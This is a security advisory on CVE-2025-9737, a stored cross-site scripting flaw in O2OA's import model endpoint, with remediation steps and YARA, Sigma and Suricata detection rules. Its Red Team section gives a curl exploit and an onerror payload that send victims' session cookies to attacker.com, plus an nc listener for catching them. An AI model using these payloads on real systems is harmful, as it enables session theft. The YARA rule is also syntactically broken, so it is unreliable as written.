CVE-2025-9737

Executive Summary

CVE-2025-9737 is a stored Cross-Site Scripting (XSS) vulnerability in O2OA, an open-source enterprise collaboration platform. The flaw resides in the /x_query_assemble_designer/jaxrs/importmodel endpoint, specifically within the Personal Profile Page functionality. An authenticated attacker can inject malicious scripts via the description, applicationName, or queryName parameters. When an administrator or other user views the crafted profile, the script executes in their browser session, potentially leading to session hijacking, credential theft, or further lateral movement within the O2OA instance.

The vulnerability has a low CVSS score of 3.5 due to the requirement for authentication and user interaction, but the public availability of exploit details increases the risk. No official patch has been released as of this report, though the vendor has acknowledged the issue.

Supply Chain & Package Security

O2OA is a Java-based application distributed as a WAR file or Docker image. This vulnerability does not directly affect the software supply chain (e.g., npm, PyPI, Go modules). However, organizations using O2OA should verify the integrity of their deployment artifacts and monitor for updates from the official O2OA repository.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid user account.
• User Interaction (UI): Required (R) – Victim must view the malicious profile.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): None (N) – No direct data exposure.
• Integrity (I): Low (L) – Attacker can modify content within the victim's session.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Low (CVSS 3.5). However, the public exploit and lack of patch elevate the operational risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the O2OA query import model functionality. The endpoint /x_query_assemble_designer/jaxrs/importmodel accepts POST requests to create or update import models. The parameters description, applicationName, and queryName are not properly sanitized before being stored in the database and later rendered in the Personal Profile Page.

Attack Flow:

1. Attacker authenticates to O2OA with a valid user account.
2. Attacker sends a POST request to /x_query_assemble_designer/jaxrs/importmodel with a payload in one of the vulnerable parameters, e.g., description=<script>alert('XSS')</script>.
3. The server stores the malicious input without sanitization.
4. When an administrator or another user navigates to the Personal Profile Page, the stored payload is rendered in the browser, executing the attacker's script.
5. The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: Lack of input validation and output encoding for user-controlled fields in the import model creation endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// O2OA endpoint handler (simplified)
@POST
@Path("importmodel")
public Response createImportModel(ImportModel model) {
    // Directly stores user input without sanitization
    importModelService.save(model);
    return Response.ok().build();
}

Patched Code (Expected):

// Patched version with input sanitization
@POST
@Path("importmodel")
public Response createImportModel(ImportModel model) {
    // Sanitize user input
    model.setDescription(Encoder.encodeForHTML(model.getDescription()));
    model.setApplicationName(Encoder.encodeForHTML(model.getApplicationName()));
    model.setQueryName(Encoder.encodeForHTML(model.getQueryName()));
    importModelService.save(model);
    return Response.ok().build();
}

The patch should use a robust HTML encoding library (e.g., OWASP Java Encoder) to neutralize script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user account on the target O2OA instance.
• Network access to the /x_query_assemble_designer/jaxrs/importmodel endpoint.

Exploit Steps:

1. Authenticate and obtain a session cookie.
2. Craft a POST request with a malicious payload:

curl -X POST \
  'http://target-o2oa/x_query_assemble_designer/jaxrs/importmodel' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: JSESSIONID=your_session_id' \
  -d '{
    "description": "<script>fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)</script>",
    "applicationName": "test",
    "queryName": "test"
  }'

3. The payload will be stored and executed when an administrator views the Personal Profile Page.

Advanced Payload:

<img src=x onerror="new Image().src='https://attacker.com/exfil?data='+btoa(document.cookie)">

Blue Team

Detection:

• Monitor HTTP POST requests to /x_query_assemble_designer/jaxrs/importmodel containing HTML/JavaScript in the JSON body.
• Look for anomalous outbound connections from the O2OA server to unknown domains (potential C2/exfiltration).

Hunting:

• Search server logs for requests with <script, onerror, onload, or javascript: in the description, applicationName, or queryName fields.
• Review database entries in the import model table for suspicious HTML content.

Lab Setup:

• Deploy a vulnerable O2OA instance (version 10.0-410) in a sandboxed environment.
• Use a tool like Burp Suite or OWASP ZAP to intercept and modify requests.
• Set up a listener (e.g., nc -lvnp 8080) to capture exfiltrated data.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /x_query_assemble_designer/jaxrs/importmodel with unusual JSON payloads containing HTML tags.
  • Outbound HTTP/HTTPS connections to unknown IPs or domains from the O2OA server.

• File IOCs:

  • Log entries containing <script, onerror, or javascript: in the request body.

• Behavioral IOCs:

  • Unexpected creation of import models by non-admin users.
  • Unusual browser behavior when viewing the Personal Profile Page (e.g., redirects, pop-ups).

Detection Engineering

YARA Rule

rule CVE_2025_9737_O2OA_XSS {
    meta:
        description = "Detects stored XSS payloads in O2OA import model requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9737"
    strings:
        $xss_payload_1 = /<script[^>]*>.*?<\/script>/is
        $xss_payload_2 = /onerror\s*=\s*["'][^"']*["']/is
        $xss_payload_3 = /onload\s*=\s*["'][^"']*["']/is
        $xss_payload_4 = /javascript\s*:/is
    condition:
        any of ($xss_payload_*) and
        filesize < 10KB and
        // Match against HTTP request body
        for any of ($xss_payload_*) : ( # )
}

Sigma Rule

title: O2OA Stored XSS via Import Model Endpoint
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-9737 by injecting XSS payloads into the import model endpoint.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/x_query_assemble_designer/jaxrs/importmodel'
        cs-uri-query|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in description fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9737 O2OA Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/x_query_assemble_designer/jaxrs/importmodel"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; pcre:"/onerror\s*=\s*[\"'][^\"']*[\"']/i"; pcre:"/onload\s*=\s*[\"'][^\"']*[\"']/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Input Validation: Implement server-side sanitization for all user-controlled fields in the import model endpoint. Use a whitelist approach for allowed characters.
2. Output Encoding: Ensure all stored data is HTML-encoded before rendering in the browser.
3. Web Application Firewall (WAF): Deploy WAF rules to block requests containing <script, onerror, or javascript: in the vulnerable parameters.

Long-Term Fix:

• Upgrade to the patched version once released by the vendor.
• Conduct a security code review of all endpoints handling user input.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• Disable the import model functionality for non-admin users if not required.
• Restrict access to the /x_query_assemble_designer/jaxrs/importmodel endpoint via network segmentation or authentication controls.

Valters IT
Securing Digital Frontiers